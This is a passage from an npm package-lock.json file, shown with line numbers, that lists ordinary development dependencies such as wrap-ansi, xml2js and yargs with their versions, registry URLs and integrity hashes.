"sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", 1744 | "dev": true, 1745 | "license": "MIT", 1746 | "peer": true, 1747 | "dependencies": { 1748 | "ansi-regex": "^6.0.1" 1749 | }, 1750 | "engines": { 1751 | "node": ">=12" 1752 | }, 1753 | "funding": { 1754 | "url": "https://github.com/chalk/strip-ansi?sponsor=1" 1755 | } 1756 | }, 1757 | "node_modules/strip-ansi-cjs": { 1758 | "name": "strip-ansi", 1759 | "version": "6.0.1", 1760 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 1761 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 1762 | "dev": true, 1763 | "license": "MIT", 1764 | "peer": true, 1765 | "dependencies": { 1766 | "ansi-regex": "^5.0.1" 1767 | }, 1768 | "engines": { 1769 | "node": ">=8" 1770 | } 1771 | }, 1772 | "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { 1773 | "version": "5.0.1", 1774 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 1775 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 1776 | "dev": true, 1777 | "license": "MIT", 1778 | "peer": true, 1779 | "engines": { 1780 | "node": ">=8" 1781 | } 1782 | }, 1783 | "node_modules/timers-ext": { 1784 | "version": "0.1.8", 1785 | "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.8.tgz", 1786 | "integrity": "sha512-wFH7+SEAcKfJpfLPkrgMPvvwnEtj8W4IurvEyrKsDleXnKLCDw71w8jltvfLa8Rm4qQxxT4jmDBYbJG/z7qoww==", 1787 | "dev": true, 1788 | "license": "ISC", 1789 | "dependencies": { 1790 | "es5-ext": "^0.10.64", 1791 | "next-tick": "^1.1.0" 1792 | }, 1793 | "engines": { 1794 | "node": ">=0.12" 1795 | } 1796 | }, 1797 | "node_modules/tunnel": { 1798 | "version": "0.0.6", 1799 | "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", 1800 | "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", 1801 | "dev": true, 1802 | "license": "MIT", 1803 | "peer": true, 1804 | "engines": { 1805 | "node": ">=0.6.11 <=0.7.0 || >=0.7.3" 1806 | } 1807 | }, 1808 | "node_modules/type": { 1809 | "version": "2.7.3", 1810 | "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz", 1811 | "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==", 1812 | "dev": true, 1813 | "license": "ISC" 1814 | }, 1815 | "node_modules/uni-global": { 1816 | "version": "1.0.0", 1817 | "resolved": "https://registry.npmjs.org/uni-global/-/uni-global-1.0.0.tgz", 1818 | "integrity": "sha512-WWM3HP+siTxzIWPNUg7hZ4XO8clKi6NoCAJJWnuRL+BAqyFXF8gC03WNyTefGoUXYc47uYgXxpKLIEvo65PEHw==", 1819 | "dev": true, 1820 | "license": "ISC", 1821 | "dependencies": { 1822 | "type": "^2.5.0" 1823 | } 1824 | }, 1825 | "node_modules/universalify": { 1826 | "version": "2.0.1", 1827 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", 1828 | "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", 1829 | "dev": true, 1830 | "license": "MIT", 1831 | "engines": { 1832 | "node": ">= 10.0.0" 1833 | } 1834 | }, 1835 | "node_modules/util-deprecate": { 1836 | "version": "1.0.2", 1837 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 1838 | "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", 1839 | "dev": true, 1840 | "license": "MIT" 1841 | }, 1842 | "node_modules/which": { 1843 | "version": "2.0.2", 1844 | "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", 1845 | "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", 1846 | "dev": true, 1847 | "license": "ISC", 1848 | "peer": true, 1849 | "dependencies": { 1850 | "isexe": "^2.0.0" 1851 | }, 1852 | "bin": { 1853 | "node-which": "bin/node-which" 1854 | }, 1855 | "engines": { 1856 | "node": ">= 8" 1857 | } 1858 | }, 1859 | "node_modules/which-module": { 1860 | "version": "2.0.1", 1861 | "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", 1862 | "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==", 1863 | "dev": true, 1864 | "license": "ISC" 1865 | }, 1866 | "node_modules/wrap-ansi": { 1867 | "version": "8.1.0", 1868 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", 1869 | "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", 1870 | "dev": true, 1871 | "license": "MIT", 1872 | "peer": true, 1873 | "dependencies": { 1874 | "ansi-styles": "^6.1.0", 1875 | "string-width": "^5.0.1", 1876 | "strip-ansi": "^7.0.1" 1877 | }, 1878 | "engines": { 1879 | "node": ">=12" 1880 | }, 1881 | "funding": { 1882 | "url": "https://github.com/chalk/wrap-ansi?sponsor=1" 1883 | } 1884 | }, 1885 | "node_modules/wrap-ansi-cjs": { 1886 | "name": "wrap-ansi", 1887 | "version": "7.0.0", 1888 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", 1889 | "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", 1890 | "dev": true, 1891 | "license": "MIT", 1892 | "peer": true, 1893 | "dependencies": { 1894 | "ansi-styles": "^4.0.0", 1895 | "string-width": "^4.1.0", 1896 | "strip-ansi": "^6.0.0" 1897 | }, 1898 | "engines": { 1899 | "node": ">=10" 1900 | }, 1901 | "funding": { 1902 | "url": "https://github.com/chalk/wrap-ansi?sponsor=1" 1903 | } 1904 | }, 1905 | "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { 1906 | "version": "5.0.1", 1907 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 1908 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 1909 | "dev": true, 1910 | "license": "MIT", 1911 | "peer": true, 1912 | "engines": { 1913 | "node": ">=8" 1914 | } 1915 | }, 1916 | "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { 1917 | "version": "4.3.0", 1918 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", 1919 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", 1920 | "dev": true, 1921 | "license": "MIT", 1922 | "peer": true, 1923 | "dependencies": { 1924 | "color-convert": "^2.0.1" 1925 | }, 1926 | "engines": { 1927 | "node": ">=8" 1928 | }, 1929 | "funding": { 1930 | "url": "https://github.com/chalk/ansi-styles?sponsor=1" 1931 | } 1932 | }, 1933 | "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { 1934 | "version": "8.0.0", 1935 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", 1936 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", 1937 | "dev": true, 1938 | "license": "MIT", 1939 | "peer": true 1940 | }, 1941 | "node_modules/wrap-ansi-cjs/node_modules/string-width": { 1942 | "version": "4.2.3", 1943 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", 1944 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", 1945 | "dev": true, 1946 | "license": "MIT", 1947 | "peer": true, 1948 | "dependencies": { 1949 | "emoji-regex": "^8.0.0", 1950 | "is-fullwidth-code-point": "^3.0.0", 1951 | "strip-ansi": "^6.0.1" 1952 | }, 1953 | "engines": { 1954 | "node": ">=8" 1955 | } 1956 | }, 1957 | "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { 1958 | "version": "6.0.1", 1959 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 1960 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 1961 | "dev": true, 1962 | "license": "MIT", 1963 | "peer": true, 1964 | "dependencies": { 1965 | "ansi-regex": "^5.0.1" 1966 | }, 1967 | "engines": { 1968 | "node": ">=8" 1969 | } 1970 | }, 1971 | "node_modules/wrappy": { 1972 | "version": "1.0.2", 1973 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 1974 | "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", 1975 | "dev": true, 1976 | "license": "ISC" 1977 | }, 1978 | "node_modules/xml2js": { 1979 | "version": "0.6.2", 1980 | "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz", 1981 | "integrity": "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==", 1982 | "dev": true, 1983 | "license": "MIT", 1984 | "peer": true, 1985 | "dependencies": { 1986 | "sax": ">=0.6.0", 1987 | "xmlbuilder": "~11.0.0" 1988 | }, 1989 | "engines": { 1990 | "node": ">=4.0.0" 1991 | } 1992 | }, 1993 | "node_modules/xmlbuilder": { 1994 | "version": "11.0.1", 1995 | "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", 1996 | "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", 1997 | "dev": true, 1998 | "license": "MIT", 1999 | "peer": true, 2000 | "engines": { 2001 | "node": ">=4.0" 2002 | } 2003 | }, 2004 | "node_modules/y18n": { 2005 | "version": "4.0.3", 2006 | "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", 2007 | "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", 2008 | "dev": true, 2009 | "license": "ISC" 2010 | }, 2011 | "node_modules/yargs": { 2012 | "version": "15.4.1", 2013 | "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", 2014 | "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", 2015 | "dev": true, 2016 | "license": "MIT", 2017 | "dependencies": { 2018 | "cliui": "^6.0.0", 2019 | "decamelize": "^1.2.0", 2020 | "find-up": "^4.1.0", 2021 | "get-caller-file": "^2.0.1", 2022 | "require-directory": "^2.1.1", 2023 | "require-main-filename": "^2.0.0", 2024 | "set-blocking": "^2.0.0", 2025 | "string-width": "^4.2.0", 2026 | "which-module": "^2.0.0", 2027 | "y18n": "^4.0.0", 2028 | "yargs-parser": "^18.1.2" 2029 | }, 2030 | "engines": { 2031 | "node": ">=8" 2032 | } 2033 | }, 2034 | "node_modules/yargs-parser": { 2035 | "version": "18.1.3", 2036 | "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", 2037 | "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", 2038 | "dev": true, 2039 | "license": "ISC", 2040 | "dependencies": { 2041 | "camelcase": "^5.0.0", 2042 | "decamelize": "^1.2.0" 2043 | }, 2044 | "engines": { 2045 | "node": ">=6" 2046 | } 2047 | }, 2048 | "node_modules/yargs/node_modules/ansi-regex": { 2049 | "version": "5.0.1", 2050 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 2051 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 2052 | "dev": true, 2053 | "license": "MIT", 2054 | "engines": { 2055 | "node": ">=8" 2056 | } 2057 | }, 2058 | "node_modules/yargs/node_modules/emoji-regex": { 2059 | "version": "8.0.0", 2060 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", 2061 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", 2062 | "dev": true, 2063 | "license": "MIT" 2064 | }, 2065 | "node_modules/yargs/node_modules/string-width": { 2066 | "version": "4.2.3", 2067 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", 2068 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", 2069 | "dev": true, 2070 | "license": "MIT", 2071 | "dependencies": { 2072 | "emoji-regex": "^8.0.0", 2073 | "is-fullwidth-code-point": "^3.0.0", 2074 | "strip-ansi": "^6.0.1" 2075 | }, 2076 | "engines": { 2077 | "node": ">=8" 2078 | } 2079 | }, 2080 | "node_modules/yargs/node_modules/strip-ansi": { 2081 | "version": "6.0.1", 2082 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 2083 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 2084 | "dev": true, 2085 | "license": "MIT", 2086 | "dependencies": { 2087 | "ansi-regex": "^5.0.1" 2088 | }, 2089 | "engines": { 2090 | "node": ">=8" 2091 | } 2092 | } 2093 | } 2094 | } 2095 | --------------------------------------------------------------------------------